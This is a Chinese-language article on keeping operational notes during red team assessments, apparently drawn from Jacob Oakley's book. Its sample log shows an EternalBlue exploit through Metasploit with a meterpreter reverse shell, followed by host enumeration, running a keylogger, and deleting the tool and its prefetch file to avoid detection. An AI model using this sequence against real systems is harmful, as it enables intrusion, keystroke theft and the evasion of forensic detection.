导语:在前面几个章节中,我们用大量的篇幅和内容讨论了红蓝演练的优缺点、面临的挑战、如何确定演练的范围以及演练应该遵守的规则。截至目前,我们还没有真正发起演练活动的执行。我们将用两个章节的篇幅单独讨论在演练执行过程中需要主要的事项。
前言
阅读这本独特的书籍,能够让你在进行进攻性安全交战时利用多种高阶技术。你将了解实际的谍报技术、操作指南和进攻性安全最佳实践,来开展专业的网络安全交战,而不仅仅是漏洞利用、执行脚本或使用工具。
本书将向你介绍基本的进攻性安全概念。重点说明了评估和道德黑客的重要性,并讨论了自动化评估技术。现代进攻性安全的现状以及面临的挑战。
这本书的作者是奥克利博士(Dr. Jacob G. Oakley),他曾在美国海军陆战队工作七年多,是美国国家安全局(NSA)下属的海军陆战队网络空间司令部作战兵种创始成员之一,之后担任海军陆战队的高级操作员和一个师的技术主管。入伍后,奥克利博士撰写并教授了一门高级计算机操作课程,最终回到米德堡的任务支持中心。后来,在解除政府合约后,他在一家私人公司为商业客户提供威胁仿真和红蓝对抗服务,并担任渗透测试的主要负责人以及渗透测试和网络运作的主管。他目前是一名政府客户的网络安全专家。奥克利博士在陶森大学(Towson University)完成了信息技术博士学位,主要研究和开发进攻性网络安全方法。他是迈克·奥利里(Mike O 'Leary)所著《网络行动,第二版》(Cyber Operations, second edition)一书的技术评论员。
系列文章目录:
开展专业的红蓝演练 Part.7:进攻性安全面临的挑战(上)
开展专业的红蓝演练 Part.8:进攻性安全面临的挑战(下)
在前面几个章节中,我们用大量的篇幅和内容讨论了红蓝演练的优缺点、面临的挑战、如何确定演练的范围以及演练应该遵守的规则。截至目前,我们还没有真正发起演练活动的执行。我们将用两个章节的篇幅单独讨论在演练执行过程中需要主要的事项。在上一个章节中,我们针对演练执行需要关注的人员安排和最终确认做了详细的讨论并给出了最佳实践。在本文中,我们将关注如何记录演练过程,我称之为作战笔记,在文末我还给出了建议使用的笔记格式。
作战笔记
在所有优秀的黑客最不擅长做的事情中,做好操作记录可能是最重要的。这是不幸的,因为在红队评估期间,良好的作战笔记可能是最有用的工具之一。作战笔记有助于在更大的团队中进行协作和解决问题;它们有助于保持客户和评估人员的领导层对红队活动的了解,并且它们是良好报告的组成部分,有助于组织缓解评估结果。详细的作战笔记也有助于保护评估人员免受重大过失或不当行为的指控。作战笔记应记录所有活动,并应附有活动的时间戳和说明。 在我所做的评估简报中,当我讨论我们的一些漏洞利用和跳转攻击活动时,在场的监控人员的脸上露出了惊讶的表情。在简短发言之后,他们找到我,问我是否有更详细的信息,关于我从哪里发起攻击,什么时候发起的攻击以及拿到了哪些特定的主机,因为他们确信我应该向他们告知我的活动。利用我写的详细的作战笔记,我能够给他们这些特定的信息,这样他们就可以研究他们的日志和网络流量数据,尝试关联我的操作行为。最后,他们意识到他们甚至没有相关的数据,更不用说警报了,我们发现他们实施了几次不正确的网络监听。如果没有专业的作战笔记,这一改善本组织安全状况的重要步骤是不可能的做到的。
除了帮助客户组织之外,好的笔记还允许评估人员快速确定某些日志或其他系统工件是否与其在不同主机上的操作相关。在协作团队评估期间尤其如此,因为一次评估可能会有好几个人在组织中活动。能够依靠所有相关人员进行的有条理和标准化的作战笔记,使每个人保持一致,并允许一个评估人员提醒另一个评估人员他们的行为可能导致问题或被检测到。在发现危害指标的情况下,让客户组织随时可以使用这些笔记,可以加快消除红队的冲突和真正的恶意活动。一个在凌晨三点打来的惊慌失措的电话,通过挖掘什么日志可能发生在评估攻击主机上,以确定该组织中的日志是红队的操作还是真正的黑客所为,这不是很专业,也不是很有趣的事情。 涵盖系统交互的作战笔记大致分为四个步骤:枚举和漏洞利用、后访问感知、系统操作和离开目标。下面我们将讨论在攻击系统的开始到结束过程中需要注意的重要事项以及如何注意这些事项。该描述不包括全部内容,其他条目可能比较合适,但这是红队作战笔记的最低要求,同时我还提供了一个示例格式。
1)枚举与利用
作战笔记中应涵盖所有枚举和漏洞利用活动,并提供足够详细的信息,以了解评估人员在做什么。红队成员可能做的第一件事就是使用工具扫描网络,寻找潜在目标。时间戳、扫描源和用于启动扫描的命令应放在笔记中:
11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443 192.168.97.0/24
假设这个命令发现主机 192.168.97.128 的 445 端口是打开的,并且评估人员确定这个主机是一个不错的目标,但是想要找出它正在运行的操作系统,以便选择适当的攻击载荷。 在这里,重要的是要包括响应的相关部分,以便后续评估人员或结果报告以及简报在必要时可以进行参考:
11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128 Aggressive OS guesses: Microsoft Windows 10 1703 (92
接下来,评估人员确定,由于缺少凭据,唯一可用的远程攻击是 MS17-010 SMBv1 攻击,他们需要确保系统没有针对这一漏洞打过补丁,以免创建异常的攻击流量:
12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln- ms17-010 -v 192.168.97.128 smb-vuln-ms17-010: VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) State: VULNERABLE IDs: CVE:CVE-2017-0143 Risk factor: HIGH A critical remote code execution vulnerability exists in Microsoft SMBv1 servers (ms17-010).
确定目标系统192.168.97.128易受攻击后,评估人员继续利用该漏洞。笔记中包括为前面每个命令公开的信息是很重要的,以及特定于利用漏洞的特定信息,例如所使用的有效载荷:
12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) > exploit against 192.168.97.128 on TCP port 445 with the following payload option: (windows/x64/meterpreter/reverse_https) and a locally listening port of 443 [+] 192.168.97.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] Meterpreter session 1 opened (192.168.96.4:443 -> 192.168.97.128:63687)
2)后访问感知
作战笔记的下一部分涉及评估人员采取的后访问操作,首先是与远程目标交互。以下命令构成对新远程环境的良好态势感知:
12:15 PM 8/19/2018 on 192.168.97.128 meterpreter >getuid Server username: NT AUTHORITY\\SYSTEM
此笔记告诉评估人员他们能够通过远程攻击所实现的上下文,以及在目标上是否需要升级特权。
12:16 PM 8/19/2018 on 192.168.97.128 meterpreter > sysinfo meterpreter > sysinfo Computer : DOVERGUBBEN OS : Windows 10 Architecture : x64 System Language : en_US Domain : TROLLHOME Logged On Users : 2 Meterpreter : x64/windows
这些笔记告诉评估人员一些关于态势感知的非常重要的信息。上面的信息表明了安装在操作系统上的语言包(可能会影响某些漏洞利用和工具)以及登录的用户数。我们看到有两个用户,评估人员可能想确定他们是否是管理员,他们可能更了解安全性,并且可能更了解攻击者在计算机上的存在。评估人员首先使用工具生成 shell,然后与本地系统命令进行交互:
12:17 PM 8/19/2018 on 192.168.97.128 meterpreter > shell Process 1775 created. 12:18 PM 8/19/2018 on 192.168.97.128 query user USERNAME SESSIONNAME ID STATE IDLE TIME >Administrator console 1 Active none LOGON TIME 8/19/2018 12:05 PM
此命令表示管理员已登录,并且在执行漏洞利用时已经登录。我们还可以看到管理员是活动的而不是空闲的。这肯定会影响系统上活动的可接受风险。此命令产生的信息可能会受到虚拟机挂起和还原功能的影响,因此请始终记住这一点。鉴于虚拟化越来越流行,评估人员应该知道空闲时间尤其会受到影响。 接下来,评估人员想知道新目标上现在是什么时间。如果评估人员在攻击后进行清理以保持隐蔽性,或者需要在简报中解决与监控实体的冲突,那么目标时间在关联日志记录和监控活动时非常重要。许多组织都有国际边界,数据中心分布在多个地方,尤其是由于云服务的参与。例如,一家位于美国的公司可以在爱尔兰的 AWS 集群中托管设备。如果命令的时间戳和当前系统时间是关闭的,那么评估员需要记住这一点。
12:20 PM 8/19/2018 on 192.168.97.128 time The current time is: 12:20:22.12
由于系统上的时间和攻击系统上的时间之间没有明显的偏差,评估人员可以认为作战笔记中的任何带时间戳的信息都应该与目标系统上的事件密切相关。 为了继续获得目标的态势感知,评估人员需要了解活动的过程和连接。这些命令的输出很长,所以在这里我对结果进行了裁剪:
12:23 PM 8/19/2018 on 192.168.97.128 tasklist Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== System Idle Process 0 Services 0 8 K System 4 Services 0 140 K Registry 88 Services 0 8,692 K smss.exe 328 Services 0 992 K csrss.exe 444 Services 0 4,644 K csrss.exe 520 Console 1 4,540 K wininit.exe 540 Services 0 5,884 K winlogon.exe 584 Services 0 9,380 K services.exe 656 Services 0 8,472 K lsass.exe 672 Services 0 14,968 K svchost.exe 792 Services 0 3,556 K cmd.exe 1775 Services 0 27,376 K dwm.exe 516 Console 1 88,240 K tasklist.exe 3688 Console 1 7,476
在目标的这个进程列表中,评估人员会注意到在 cmd.exe 中创建的 shell 也出现在列表中了,并关注三个点。对进程的快速调查显示是否有安全软件捕获了访问漏洞或将捕获进一步的操作。接下来,评估人员寻找可能在此主机或其他主机上提供额外攻击面的潜在进程。最后,评估人员查找进程,这些进程指示计算机是否被恶意主机破坏。即使在评估期间,红队成员也是组织系统战壕中的重要防线。这三点相同的原因分析也适用于系统上监听的端口,以确定通信进程:
12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 980 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1536 0.0.0.0:0 LISTENING 540 TCP 0.0.0.0:1537 0.0.0.0:0 LISTENING 1332 TCP 0.0.0.0:1538 0.0.0.0:0 LISTENING 1400 TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING 672 TCP 0.0.0.0:1540 0.0.0.0:0 LISTENING 2660 TCP 0.0.0.0:1541 0.0.0.0:0 LISTENING 656 TCP 0.0.0.0:1640 0.0.0.0:0 LISTENING 8428 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5480 TCP 169.254.105.111:139 0.0.0.0:0 LISTENING 4 TCP 192.168.97.128:139 0.0.0.0:0 LISTENING 4 TCP 192.168.97.128:1719 192.168.96.4:443 ESTABLISHED 3160
在这里,评估人员看到了与远程访问工具包相关的连接,并通过 443 端口与攻击系统进行了通信。在系统本地生成的shell中使用这些命令时,请务必记住,tasklist和netstat等命令通常被恶意软件操纵或替换,以便在用户运行时隐藏输出。因此,看到这些命令没有可疑之处并不能保证机器没有感染非红队的恶意软件。
3)系统操作
当远程系统获得态势感知时,评估人员可能必须对目标进行一些操作,以继续进行攻击模拟活动。这方面的一个常见且必要的例子是特权提升。如果用于访问 Windows 计算机的漏洞未导致类似 MS17-010 的系统上下文,该怎么办?或者,如果我们只是需要执行自己的 .exe文件,它可能是一个键盘记录器呢?例如,假设我们将键记录器放置在目标系统上的 C:\windows\system32\ 文件夹中的 nastyknife.exe 文件。首先,我们要确保它成功地到达目标文件系统,然后再执行:
12:26 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\system32\\nastyknife.exe 8/19/2018 12:25 PM 27,648 nastyknife.exe 1 File(s) 27,648 bytes 12:27 PM 8/19/2018 on 192.168.97.128 C:\\windows\\system32\\nastyknife.exe
在工具完成运行之后,也许我们需要自己清理,这样管理员就很难找到我们了。这是一种非常常见的对目标系统进行文件操作的形式,以使红队能够隐身。
12:43 PM 8/19/2018 on 192.168.97.128 del C:\\windows\\system32\\nastyknife.exe 12:44 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\system32\\nastyknife.exe File Not Found
作为攻击者,除了删除工具本身之外,我们可能还必须清除系统创建的工件,这些工件可能表明我们在目标上运行了某些东西。例如 Windows prefetch 文件夹,它跟踪最近运行的软件。以下输出显示了这一点:
12:45 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\prefetch 08/19/2018 12:07 PM 14,645 NASTYKNIFE.pf
我们肯定要删除对我们工具的引用:
12:47 PM 8/19/2018 on 192.168.97.128 del C:\\windows\\prefetch\\[nastyknife.pf]() 12:48 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\prefetch\\nastyknife.pf File Not Found
4)离开目标
现在我们已经把我们在系统上留下的痕迹清理干净了,我们还有最后一个条目要写进作战笔记,那就是我们完成了目标的活动。
12:51 PM 8/19/2018 off target
作战笔记示例
以下是为本章所整理的作战笔记示例。显然,每个评估人员可能包含不同的输出以及不同部分。对于netstat和tasklist等具有长输出的命令,评估人员可以简单地为命令的执行时间做一个时间戳,并包括对异常情况的注释(如果有的话)。此外,他们可能会注意到与自己的活动有关的信息,例如评估人员启动的 cmd.exe 和用于查看远程访问工具通信的 netstat 条目。
11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443 192.168.97.0/24 11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128 Aggressive OS guesses: Microsoft Windows 10 1703 (92%) 12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln- ms17-010 -v 192.168.97.128 smb-vuln-ms17-010: VULNERABLE: Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010) State: VULNERABLE IDs: CVE:CVE-2017-0143 Risk factor: HIGH A critical remote code execution vulnerability exists in Microsoft SMBv1 servers (ms17-010). 12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) > exploit against 192.168.97.128 on TCP port 445 with the following payload option: (windows/x64/meterpreter/reverse_https) and a locally listening port of 443 [+] 192.168.97.128:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)! [*] Meterpreter session 1 opened (192.168.96.4:443 -> 192.168.97.128:63687) 12:15 PM 8/19/2018 on 192.168.97.128 meterpreter >getuid Server username: NT AUTHORITY\\SYSTEM 12:16 PM 8/19/2018 on 192.168.97.128 meterpreter > sysinfo meterpreter > sysinfo Computer : DOVERGUBBEN OS : Windows 10 Architecture : x64 System Language : en_US Domain : TROLLHOME Logged On Users : 2 Meterpreter : x64/windows 12:17 PM 8/19/2018 on 192.168.97.128 meterpreter > shell Process 1775 created. 12:18 PM 8/19/2018 on 192.168.97.128 query user USERNAME SESSIONNAME ID STATE IDLE TIME >Administrator console 1 Active none 12:20 PM 8/19/2018 on 192.168.97.128 time The current time is: 12:20:22.12 12:23 PM 8/19/2018 on 192.168.97.128 tasklist Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== System Idle Process 0 Services 0 8 K System 4 Services 0 140 K Registry 88 Services 0 8,692 K smss.exe 328 Services 0 992 K csrss.exe 444 Services 0 4,644 K csrss.exe 520 Console 1 4,540 K wininit.exe 540 Services 0 5,884 K winlogon.exe 584 Services 0 9,380 K services.exe 656 Services 0 8,472 K lsass.exe 672 Services 0 14,968 K svchost.exe 792 Services 0 3,556 K cmd.exe 1775 Services 0 27,376 K dwm.exe 516 Console 1 88,240 K tasklist.exe 3688 Console 1 7,476 12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano Active Connections Proto Local Address Foreign Address State PID TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 980 TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4 TCP 0.0.0.0:1536 0.0.0.0:0 LISTENING 540 TCP 0.0.0.0:1537 0.0.0.0:0 LISTENING 1332 TCP 0.0.0.0:1538 0.0.0.0:0 LISTENING 1400 TCP 0.0.0.0:1539 0.0.0.0:0 LISTENING 672 TCP 0.0.0.0:1540 0.0.0.0:0 LISTENING 2660 TCP 0.0.0.0:1541 0.0.0.0:0 LISTENING 656 TCP 0.0.0.0:1640 0.0.0.0:0 LISTENING 8428 TCP 0.0.0.0:5040 0.0.0.0:0 LISTENING 5480 TCP 169.254.105.111:139 0.0.0.0:0 LISTENING 4 TCP 192.168.97.128:139 0.0.0.0:0 LISTENING 4 TCP 192.168.97.128:1719 192.168.96.4:443 ESTABLISHED 3160 12:26 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\system32\\nastyknife.exe 8/19/2018 12:25 PM 27,648 nastyknife.exe 1 File(s) 27,648 bytes 12:27 PM 8/19/2018 on 192.168.97.128 C:\\windows\\system32\\nastyknife.exe 12:43 PM 8/19/2018 on 192.168.97.128 del C:\\windows\\system32\\nastyknife.exe 12:44 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\system32\\nastyknife.exe File Not Found 12:45 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\prefetch 08/19/2018 12:27 PM 14,645 NASTYKNIFE.pf 12:47 PM 8/19/2018 on 192.168.97.128 del C:\\windows\\prefetch\\nastyknife.pf 12:48 PM 8/19/2018 on 192.168.97.128 dir C:\\windows\\prefetch\\nastyknife.pf File Not Found 12:51 PM 8/19/2018 off target
总结
你现在应该明白,除了简单地枚举和攻击目标之外,你应该了解执行专业红队评估所需的内容。此外,我还重点介绍了专业红队的特点,如最佳实践和良好的情报技术,并讨论了如何使专业黑客成为可能。
参考及来源:https://www.springer.com/us/book/9781484243084
本文由作者“丝绸之路”整理发布,如若转载,请注明原文地址: